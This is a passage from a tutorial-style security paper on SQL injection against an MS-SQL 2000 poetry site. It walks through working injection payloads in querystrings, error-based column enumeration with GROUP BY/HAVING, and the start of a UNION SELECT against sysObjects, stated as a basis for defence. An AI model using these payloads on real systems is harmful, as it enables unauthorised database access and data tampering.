By Stuart McDonald
Abstract
SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks an incredible number of systems on the internet are susceptible to this form of attack.

Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can be almost totally prevented. This paper will look at a selection of the methods available to a SQL injection attacker and how they are best defended against.
Introduction
It's drilled into a programmer from "Programming 101": The importance of input validation and ensuring that the data a user sends you is the data you want, not some poisoned lump of characters that's going to break your site and/or lose you your job.

As valuable as it may be to ensure your users are crossing their t's and dotting their i's, there's a more important reason for this validation and that centres around the principle of SQL injection.

When I first stumbled across an SQL injection paper, I gave it a cursory read and then tried a couple of the attacks against a test backend version of a site I was then looking after. Within six hours I had almost totally destroyed the site - and that was without using the more advanced tools available.

SQL injection is not a "dark art", nor is it new. Numerous white papers and other references are available on the internet (see references), some of which are over a year old. Yet many sites play the roles of the lowest apples in the tree by being completely vulnerable to this form of attack.

As SQL injection how-tos, attacker awareness and now even automated tools such as wpoison that check for SQL injection vulnerabilities become more prevalent, these 'low apples' will be harvested at increasing rates.

Summary

This paper consists of five sections.
Part One - Injection principles: Yes, it really is this easy
Contains a detailed look at the basics of SQL injection. This will walk you through the anatomy of an attack. It is only by knowing exactly how an attacker will use SQL injection that you will be in a better position to protect your site.
Part Two - Advanced injection: Sprocs and the leverage of your position
Looks at some of the more advanced methods of SQL injection which can result in system compromise. This describes the use of stored procedures and extended stored procedures that come pre-installed on a MS-SQL 2000 set-up. It is Microsoft specific.
Part Three - Protection: How many walls to build around your site
Describes methods for the developer to protect their site and system from these kind of attacks.
Part Four - Conclusion: See, it does matter
Summarises why the threat of SQL injection is so serious.
Part Five - References: The information is out there
Contains a detailed listing of references and additional reading.
Conventions
In order to reduce the number of screen shots required in this paper, much of the screen output is colour-coded and is one point smaller instead.

All URL's are blue.

All error messages are red

Although the examples used are specific to MS-SQL 2000 it should be noted that SQL injection is not an issue isolated to MS-SQL 2000 alone.

In part one a cut down version of a poetry site is for illustrative purposes. The poetry snippets have been altered where needed and are used with permission.
Part One - Injection principles: Yes, it really is this easy
SQL injection is one type of web hacking that requires nothing but port 80 and it might just work even if the admin is patch-happy." (AntiCrack. 27 May 2002).

" SQL injection is usually caused by developers who use 'string-building' techniques in order to execute SQL code." (SQL Injection FAQ)

The principle of basic SQL injection is to take advantage of insecure code on a system connected to the internet in order to pass commands directly to a database and to then take advantage of a poorly secured system to leverage an attacker's access.

Most other papers concerned with SQL injection use the example of either a login or search dialogue that is used to gain unauthorised access to the server. To avoid repeating what can be studied in other papers, I will instead look at SQL injection via the querystring, where the goal is to add general data to the database rather than to add a member to a users table. The attack I discuss uses the same principles as those in other papers, particularly the SPI Dynamics and NGSSoftware papers, but differs in its execution.

The sample site in the following examples makes use of a MS-SQL 2000 database to serve poems presented at poetry readings. The table lay-up is basic but the real world example is considerably more complicated. Two tables, titled author and story, respectively contain the poets' names, nationality and age, and the poem specifics: title, blurb, poem and aID.

The site lists individual poems and the goal is to add an unauthorised poem and an unauthorised author to the database.
Hacking the querystring
A typical URL to read a poem is as follows:
_http://stuart/homebase/practical/index.asp?story=1

�

When you visit the above URL you are greeted with a page title (Welcome to Bangkok's Worst Poetry.com), the title of the poem ( The Mating of the Mongolian Butterfly ), the name (Stuart), nationality (Australian) and age (32) of the poet and a snippet from their poem (Par for the course.).

From this you can infer that the 1 in the querystring is some kind of reference to the actual poem. So, break off the querystring and you get the following:

Story=1

Change the value of Story to 4 and then reload the page with the URL:
_http://stuart/homebase/practical/index.asp?story=4

�

We now have Cheese by Savage Henry, even though it was never called via a link for this particular poem.

Next, look at the VB Script code used to create the above (the connection portion of the script is omitted for brevity).
�
The variable we have been playing with - that is, the story value -- is being passed with no input validation straight to the SQL query, which is then retrieving the data. This shows we could put anything in there as the value for storyID and it would be passed to the SQL statement. We could send commands to the database that the developer never intended

This is the principle behind SQL injection.
Breaking the querystring
There are two straightforward ways to break a URL. Firstly, you can try adding some SQL to the URL, as in the following:

_http://stuart/homebase/practical/index.asp?story=3 AND someothercolumn=3

In our example this results in the following error:

Error Type:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name 'someothercolumn'.

/homebase/practical/index.asp, line 33

This establishes that SQL injection is possible as we changed the SQL statement from:

Код:

SELECT s.sID,s.title,s.blurb,s.story,a.aName FROM story s, author a WHERE sID=3 AND a.aID=s.aID

to

SELECT s.sID,s.title,s.blurb,s.story,a.aName FROM story s, author a WHERE sID=3 AND someothercolumn=3 AND a.aID=s.aID

The column "someothercolumn" does not exist, so we get an SQL error.

The second way to break a page is with an apostrophe:

_http://stuart/homebase/practical/index.asp?story=3'

The above results in the following server error:

Error Type:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ' AND a.aID=s.aID'.

/homebase/practical/index.asp, line 20

The script has choked because we inserted an apostrophe after the 3, which breaks the SQL statement. By inserting the quotation mark, the SQL statement passed to the server was altered from:

Код:

SELECT s.sID,s.title,s.blurb,s.story,a.aName FROM story s, author a WHERE sID=3 AND a.aID=s.aID

to

SELECT s.sID,s.title,s.blurb,s.story,a.aName FROM story s, author a WHERE sID=3' AND a.aID=s.aID

The single quotation mark causes an unclosed quotation mark error.

This is a little unusual as normally an integer would not be quoted in an SQL statement. Another example better illustrates the use of a quote: Imagine a summary page that lists poets by nationality. In this case a correct URL may be in the form:

_http://stuart/homebase/practical/index_country.asp?country=laos

and the corresponding SQL would be:

Код:

SELECT a,aID,a.aName FROM author a WHERE a.aNationality='laos'

Note the value laos is quoted because it is a string, so when we alter the URL again, adding a quotation mark in laos, this quotation mark goes into the SQL and breaks it, as follows:

_http://stuart/homebase/practical/index_country.asp?country=la'os

Код:

SELECT a,aID,a.aName FROM author a WHERE a.aNationality='la'os'

This SQL statement will crash because of the unclosed quotation mark.

Generally an attacker will need to use a quotation mark to break the SQL, though if the site is particularly poorly coded then they may just be able to add SQL in as in the first example.
Database foot printing
To be successful, an attacker will first need to map out the tables on the database, a process called database foot printing . As Beth Breidenbach states: "'Footprinting,' or identifying the configuration of the server is one of the first steps in deciding how to attack a site." (Breidenbach. 2002)

The method chosen to do this will depend on how poorly configured the server is. The most reliable method, shown here, is also the slowest. Other methods are covered in Part Two, where the use of stored procedures and extended stored procedures to extract the data are discussed.

To reliably footprint a database, the SQL statement must be broken, which will cause an error from which a plan of the database can be inferred.

A lot can be learned from error messages: they're very handy when developing but are also very useful for attacking.

Look at the error message we got above when we added a quotation mark:

Error Type:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ' AND a.aID=s.aID'.

/homebase/practical/index.asp, line 20

The important part of this error is the part "AND a.aID=s.aID". This tells an attacker both that there are at least two tables being used to generate this page (note the a. and s. - these are aliases for tables), and that these two tables are related via the field aID.

If an attacker was to look at this in the context of the poetry site, they could use their commonsense and guess that an aID refers to an author ID and the a and s may refer to author and story (though p for poem would be even easier to guess). But not even that much guessing is necessary, as eventually error messages will reveal almost everything.

An important point to note is that the snippet returned in the error message (AND a.aID=s.aID) does not reveal the actual table names. This is good practise from a developer's perspective. When you use aliases, do not use the full table name as you are giving away your information cheaply. More on this is covered in Part Three.

An attacker must now find out what other fields are in the tables. For this they can use the SQL syntax GROUP BY or HAVING. For example:

_http://stuart/homebase/practical/index.asp?story=3%20HAVING%201=1--

The apostrophe is removed as it is not necessary for this portion of the exercise to work. The %20 refers to a space, but what is important is the double dash at the end -- this is the equivalent of a comment and comments out whatever SQL may be appended to the line. The SQL becomes:

Код:

SELECT s.sID,s.title,s.blurb,s.story,a.aName FROM story s, author a WHERE sID=3 HAVING 1=1-- AND a.aID=s.aID

The -- syntax then comments out the ending part of the SQL statement. This is very important as without the ability to do this (ie, if the -- is cut out via input validation) SQL injection becomes far more difficult.

This will create a new error:

Error Type:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 's.sID' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

/homebase/practical/index.asp, line 20

An attacker has been advised by the error that there is a column called s.sID.

This error has arisen because if you are going to use HAVING, you must also use a GROUP BY, which groups all the fields. Now the attacker must iterate through the fields until they no longer get an error. The next example shows how this is done:

_http://stuart/homebase/practical/index.asp?story=3%20group%20by%20s.sID%20having%20 1=1--

The attacker has now taken the s.sID field given to them and inserted it into the URL, which produces the next error:

Error Type:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 's.title' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

/homebase/practical/index.asp, line 20

Now they have determined the next column name, s.title, which they add to and then repeat the process:

_http://stuart/homebase/practical/index.asp?story=3%20group%20by%20s.sID,s.title%20h aving%201=1--

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 's.blurb' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

/homebase/practical/index.asp, line 20

Which then gives them s.blurb and so on. This can get tedious if the table happens to have many columns.

Assume the full table has been deduced, we have the following querystring:

_http://stuart/homebase/practical/index.asp?story=3%20group%20by%20s.sID,s.title,s.b lurb,
s.story%20having%201=1--

This gives us the following:

Error Type:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'a.aName' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

/homebase/practical/index.asp, line 20

Note the error has switched to the next table, the one with the nickname a.

When the attacker has inserted all the values into the URL the following is created:

_http://stuart/homebase/practical/index.asp?story=3%20group%20by%20s.sID,s.title,
s.blurb,s.story,a.aName,a.aNationality,a.aAge%20ha ving%201=1--

[b]

This URL delivers the attacker an error free screen and a poem titled King of the Soi by Chanet.

To summarise, the attacker so far has learned: �

1. ����� Two tables are used in this page and their nicknames are 'a' and 's'.

2. ����� They contain at least the following fields (they may have other fields that are not used for this screen):

a. ����� a: aID (they got this one in the very start), aName,aNationality,aAge

b. ����� s: sID,aID (ditto), title,blurb,story

3. ����� A relationship exists between the two tables over the aID field.

The next challenge is to determine the table names so a record may be inserted.

To establish table names, the system table that comes as a part of MS-SQL 2000, called the sysObjects table, is used. The sysObjects table contains information on all the tables within the database being used.

The method used to tackle this depends on how the information is being displayed. In this case, the poem is being pulled from the database and displayed on the screen, so an attacker needs to append a query to this statement using UNION SELECT, but they have to make sure that the original SELECT returns nothing and that the information from their appending query is returned instead.

Here is the original and correct statement: �

SELECT s.sID,s.title,s.blurb,s.story,a.aName,a.aNationali ty,a.aAge FROM story s, author a WHERE sID=3 AND a.aID=s.aID

To get the table name from the SysObjects table one would normally use the following:

SELECT name FROM sysObjects WHERE xtype='U'

(The U designates a user-defined table)

To combine these the story value is assigned a high number so it will not return a valid poem, and then the other statement is added on with UNION. Note that this won't work unless both statements have the same number of fields. The attacker has already established how many columns are in the first table, so now they add digits into the second to make them even, as follows: